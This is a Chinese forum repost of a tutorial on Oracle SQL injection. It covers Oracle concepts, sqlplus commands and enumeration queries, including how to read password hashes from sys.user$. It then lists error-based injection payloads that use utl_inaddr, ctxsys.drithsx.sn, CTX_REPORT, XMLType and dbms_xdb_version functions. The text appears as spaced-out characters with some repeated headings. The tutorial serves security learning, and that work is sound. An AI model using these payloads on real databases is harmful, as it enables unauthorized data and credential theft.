搜索

[2057] 2021-02-22_Oracle注入从0到12

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2021-02-22_Oracle注入从0到12 O r a c l e 注 入 从 0 到 1 / 2   原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 2 - 2 2 收 录 于 话 题   # 实 操 练 习   , 6 个
基 本 概 念 基 本 概 念 表 空 间 定 义 表 空 间 定 义 数 据 文 件 就 是 由 多 个 表 空 间 组 成 的 ， 这 些 数 据 文 件 和 相 关 文 件 形 成 一 个 完 整 的 数 据 库 。 当 数 据 库 创 建 时 ， O r a c l e   会 默 认 创 建 五 个 表 空 间 S Y S T E M 用 于 是 存 储 系 统 表 和 管 理 配 置 等 基 本 信 息 S Y S A U X 类 似 于   S Y S T E M ， 主 要 存 放 一 些 系 统 附 加 信 息 ， 以 便 减 轻   S Y S T E M   的 空 间 负 担 U N D O T B S 用 于 事 务 回 退 等 T E M P 作 为 缓 存 空 间 减 少 内 存 负 担 U S E R S 存 储 我 们 定 义 的 表 和 数 据 O r a c l e 中 每 个 表 空 间 中 均 存 在 一 张 d u a l 表 ， 这 个 表 是 虚 表 ， 并 没 有 实 际 的 存 储 意 义 ， 它 永 远 只 存 储 一 条 数 据 。 因 为 O r a c l e 的 S Q L 语 法 要 求 s e l e c t 后 必 须 跟 上 后 必 须 跟 上 f r o m ， 所 以 通 常 使 用 d u a l 来 作 为 计 算 、 查 询 时 间 等 S Q L 语 句 中 f r o m 之 后 的 虚 表 占 位 ， 如 s e l e c t   1 + 1   f r o m   d u a l ; 权 限 与 用 户 管 理 权 限 与 用 户 管 理
O r a c l e   中 划 分 了 许 多 用 户 权 限 ， 权 限 的 集 合 称 为 角 色 。 如 : C O N N E C T   角 色 具 有 连 接 到 数 据 库 权 限 R E S O U R C E   能 进 行 基 本 的 增 删 改 查 D B A   集 合 了 所 有 的 用 户 权 限 用 户 创 建 数 据 库 时 ， 会 默 认 启 用   s y s 、 s y s t e m   等 用 户 : s y s 相 当 于 L i n u x 下 的 r o o t , 为   D B A   角 色 s y s t e m 相 对 于   s y s   用 户 ， 无 法 修 改 一 些 关 键 的 系 统 数 据 （ 维 持 着 数 据 库 的 正 常 运 行 ） , 也 为   D B A   角 色 p u b l i c p u b l i c   代 指 所 有 用 户 （ e v e r y o n e ） ， 对 其 操 作 会 应 用 到 所 有 用 户 上 （ 实 际 上 是 所 有 用 户 都 有   p u b l i c   用 户 拥 有 的 权 限 ， 如 果 将   D B A   权 限 给 了 p u b l i c ， 那 么 也 就 意 味 着 所 有 用 户 都 有 了   D B A   权 限 ） 一 些 术 语 一 些 术 语 操 作 系 统 环 境 变 量 （ 操 作 系 统 环 境 变 量 （ O R A C L E _ S I D ） ） i n s t a n c e _ n a m e （ “ 数 据 库 实 例 名 ” ） 是 O r a c l e 的 数 据 库 参 数 ， 而 o r a c l e _ s i d 则 是 操 作 系 统 的 环 境 变 量 ， 用 户 和 操 作 系 统 交 互 ， 也 就 是 说 要 得 到 实 例 名 ， 必 须 使 用 s i d 。 在 数 据 库 安 装 结 束 时   ， o r a c l e _ s i d 已 经 是 一 个 确 定 的 字 符 串 了 ， 其 值 必 须 与 数 据 库 实 例 名 相 同 。 数 据 库 实 例 名 （ 数 据 库 实 例 名 （ I N S T A N C E _ N A M E ） ） 实 例 名 用 于 和 操 作 系 统 关 联 ， 在 操 作 系 统 中 要 取 得 与 数 据 库 之 间 的 交 互 必 须 使 用 数 据 库 实 例 名 。 （ 实 例 简 单 来 说 就 类 似 于 内 存 和 一 些 后 台 进 程 。 ） 数 据 库 名 一 般 与 实 例 名 是 一 一 对 应 的 。 数 据 库 名 （ 数 据 库 名 （ D B _ N A M E   ） ） 用 于 区 分 一 个 数 据 的 内 部 标 示 ， 即 O r a c l e 数 据 库 的 内 部 表 示 。 是 以 二 进 制 方 式 存 储 于 数 据 库 的 控 制 文 件 的 参 数 。 在 数 据 库 安 装 或 创 建 之 后 不 得 修 改 。 启 动 启 动 / 关 闭 关 闭 o r a c l e 监 听 器 监 听 器 #   启 动 o r a c l e 监 听 器 l s n r c t l   s t a r t #   关 闭 o r a c l e 监 听 器 l s n r c t l   s t o p #   重 启 o r a c l e 监 听 器 l s n r c t l   r e l o a d #   l s n r c t l   h e p 命 令 可 以 显 示 所 有 可 用 的 监 听 器 命 令 命 令 行 操 作 命 令 行 操 作 工 具 s q l p l u s
登 录 登 录 #   普 通 用 户 s q l p l u s   s c o t t / d o n 9 s e c ; #   超 级 管 理 员 s q l p l u s   s y s / s y s   a s   s y s d b a ; #   两 者 之 间 切 换 S Q L > c o n n   s c o t t / d o n 9 s e c ; 超 级 管 理 员 普 通 用 户 查 看 当 前 用 户 查 看 当 前 用 户 s h o w   u s e r 查 看 当 前 用 户 的 权 限 查 看 当 前 用 户 的 权 限 s e l e c t   *   f r o m   s e s s i o n _ p r i v s ;
查 看 当 前 用 户 有 权 限 的 所 有 数 据 库 查 看 当 前 用 户 有 权 限 的 所 有 数 据 库 s e l e c t   d i s t i n c t   o w n e r ,   t a b l e _ n a m e   f r o m   a l l _ t a b l e s ; 查 看 属 于 当 前 用 户 的 表 查 看 属 于 当 前 用 户 的 表 s e l e c t   *   f r o m   t a b ; 查 看 所 有 用 户 查 看 所 有 用 户 s e l e c t   *   f r o m   d b a _ u s e r s ; s e l e c t   *   f r o m   a l l _ u s e r s ; s e l e c t   *   f r o m   u s e r _ u s e r s ; 查 看 所 有 用 户 密 码 哈 希 值 查 看 所 有 用 户 密 码 哈 希 值 #   适 用 于 < = 1 0 g s e l e c t   n a m e ,   p a s s w o r d ,   a s t a t u s   f r o m   s y s . u s e r $ ; #   适 用 于 1 1 g s e l e c t   n a m e ,   p a s s w o r d ,   s p a r e 4   f r o m   s y s . u s e r $ ; 查 看 用 户 或 角 色 系 统 权 限 查 看 用 户 或 角 色 系 统 权 限 直 接 赋 值 给 用 户 或 角 色 的 系 统 权 限 s e l e c t   *   f r o m   d b a _ s y s _ p r i v s ; s e l e c t   *   f r o m   u s e r _ s y s _ p r i v s ; 查 看 角 色 所 包 含 的 权 限 查 看 角 色 所 包 含 的 权 限
注 ： 只 能 查 看 登 陆 用 户 拥 有 的 角 色 s e l e c t   *   f r o m   r o l e _ s y s _ p r i v s ; 查 看 用 户 对 象 权 限 查 看 用 户 对 象 权 限 s e l e c t   *   f r o m   d b a _ t a b _ p r i v s ; s e l e c t   *   f r o m   a l l _ t a b _ p r i v s ; s e l e c t   *   f r o m   u s e r _ t a b _ p r i v s ; 查 看 所 有 角 色 查 看 所 有 角 色 s e l e c t   *   f r o m   d b a _ r o l e s ; 查 看 用 户 或 角 色 所 拥 有 的 角 色 查 看 用 户 或 角 色 所 拥 有 的 角 色 s e l e c t   *   f r o m   d b a _ r o l e _ p r i v s ; s e l e c t   *   f r o m   u s e r _ r o l e _ p r i v s ; 查 看 哪 些 用 户 有 查 看 哪 些 用 户 有 s y s d b a 或 或 s y s o p e r 系 统 权 限 系 统 权 限 注 ： 查 询 时 需 要 相 应 权 限 s e l e c t   *   f r o m   V $ P W F I L E _ U S E R S ; 查 看 当 前 数 据 库 查 看 当 前 数 据 库 s e l e c t   n a m e   f r o m   v $ d a t a b a s e ; 查 看 表 的 数 据 查 看 表 的 数 据 s e l e c t   *   f r o m   T E S T ; 查 看 字 段 名 查 看 字 段 名 #   所 有 字 段 s e l e c t   c o l u m n _ n a m e   f r o m   a l l _ t a b _ c o l u m n s ; #   指 定 表 名 s e l e c t   c o l u m n _ n a m e   f r o m   a l l _ t a b _ c o l u m n s   w h e r e   t a b l e _ n a m e = ' T E S T ' ; 查 看 属 于 其 他 用 户 表 的 数 据 查 看 属 于 其 他 用 户 表 的 数 据
只 用 超 级 管 理 员 有 这 个 权 限 c o n n   s y s / s y s   a s   s y s d b a ; s e l e c t   *   f r o m   s o c t t . t e s t ; 查 看 表 的 结 构 查 看 表 的 结 构 d e s c   t e s t ; 查 看 实 例 名 称 查 看 实 例 名 称 ( s i d ) c o n n   /   a s   s y s d b a s e l e c t   i n s t a n c e _ n a m e   f r o m   v $ i n s t a n c e ; s e l e c t   n a m e   f r o m   V $ d a t a b a s e ; 查 看 数 据 库 版 本 信 息 查 看 数 据 库 版 本 信 息 s e l e c t   *   f r o m   v $ v e r s i o n ; 查 看 操 作 系 统 版 本 信 息 查 看 操 作 系 统 版 本 信 息 S E L E C T   d b m s _ u t i l i t y . p o r t _ s t r i n g   F R O M   d u a l ;
查 看 操 作 系 统 查 看 操 作 系 统 C P U 信 息 信 息 S E L E C T   *   F R O M   v $ o s s t a t ; 查 看 主 机 查 看 主 机 i p 地 址 地 址 S E L E C T   u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s   F R O M   d u a l ; 查 看 主 机 名 查 看 主 机 名 S E L E C T   u t l _ i n a d d r . g e t _ h o s t _ n a m e   F R O M   d u a l ; 图 形 化 操 作 图 形 化 操 作 工 具 O r a c l e   S Q L   D e v e l o p e r 详 细 操 作 教 程 见 ： O r a c l e   S Q L   D e v e l o p e r   入 门 S Q L 注 入 注 入
自 动 化 - s q l m a p 注 入 类 型 b l i n d （ 盲 注 ） b o o l e a n - b a s e d   （ 布 尔 盲 注 ） t i m e - b a s e d   b l i n d （ 时 间 盲 注 ） e r r o r - b a s e d （ 报 错 注 入 ） U N I O N   q u e r y （ 联 合 查 询 ） 联 合 查 询 联 合 查 询 o r d e r   b y   猜 字 段 数 量 ， u n i o n   s e l e c t 进 行 查 询 ， 需 要 注 意 的 是 每 一 个 字 段 都 需 要 对 应 前 面 s e l e c t 的 数 据 类 型 ( 字 符 串 / 数 字 ) 。 所 以 我 们 一 般 先 使 用 n u l l 字 符 占 位 ， 然 后 逐 位 判 断 每 个 字 段 的 类 型 。 报 错 注 入 报 错 注 入 u t l _ i n a d d r . g e t _ h o s t _ n a m e s e l e c t   u t l _ i n a d d r . g e t _ h o s t _ n a m e ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; u t l _ i n a d d r . g e t _ h o s t _ a d d r e s s   本 意 是 获 取 i p   地 址 ， 但 是 如 果 传 递 参 数 无 法 得 到 解 析 就 会 返 回 一 个 o r a c l e   错 误 并 显 示 传 递 的 参 数 , 所 以 在 这 里 成 功 执 行 了 . c t x s y s . d r i t h s x . s n O r a c l e   中 用 于 处 理 文 本 ， 当 传 入 参 数 类 型 错 误 时 ， 会 返 回 异 常 。 s e l e c t   c t x s y s . d r i t h s x . s n ( 1 ,   ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E s e l e c t   C T X S Y S . C T X _ R E P O R T . T O K E N _ T Y P E ( ( s e l e c t   u s e r   f r o m   d u a l ) ,   ' 1 2 3 ' )   f r o m   d u a l ; s e l e c t   u s e r   f r o m   d u a l
X M L T y p e X M L T y p e   在 调 用 的 时 候 必 须 以 开 头 ， 结 尾 ， 即     或 者   。 另 外 需 要 注 意 的 是 如 果 返 回 的 数 据 种 有 空 格 的 话 ， 它 会 自 动 截 断 ， 导 致 数 据 不 完 整 ， 这 种 情 况 下 先 转 为   h e x ， 再 导 出 。 s e l e c t   X M L T y p e ( ' < : ' | | ( s e l e c t   u s e r   f r o m   d u a l ) | | ' > ' )   f r o m   d u a l ; d b m s _ x d b _ v e r s i o n . c h e c k i n s e l e c t   d b m s _ x b _ v e r s i o n . c h e c k i n ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d s e l e c t   d b m s _ x d b _ v e r s i o n . m a k e v e r s i o n e d ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; d b m s _ x d b _ v e r s i o n . u n c h e c k o u t s e l e c t   d b m s _ x d b _ v e r s i o n . u n c h e c k o u t ( ( s e l e c t   u s e r   f r o m   d u a l ) )   f r o m   d u a l ; < : > ' < : ' | | b a l a b a l a | | ' > ' c h r ( 6 0 ) | | b a l a b a l | | c h r ( 6 2 ）
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理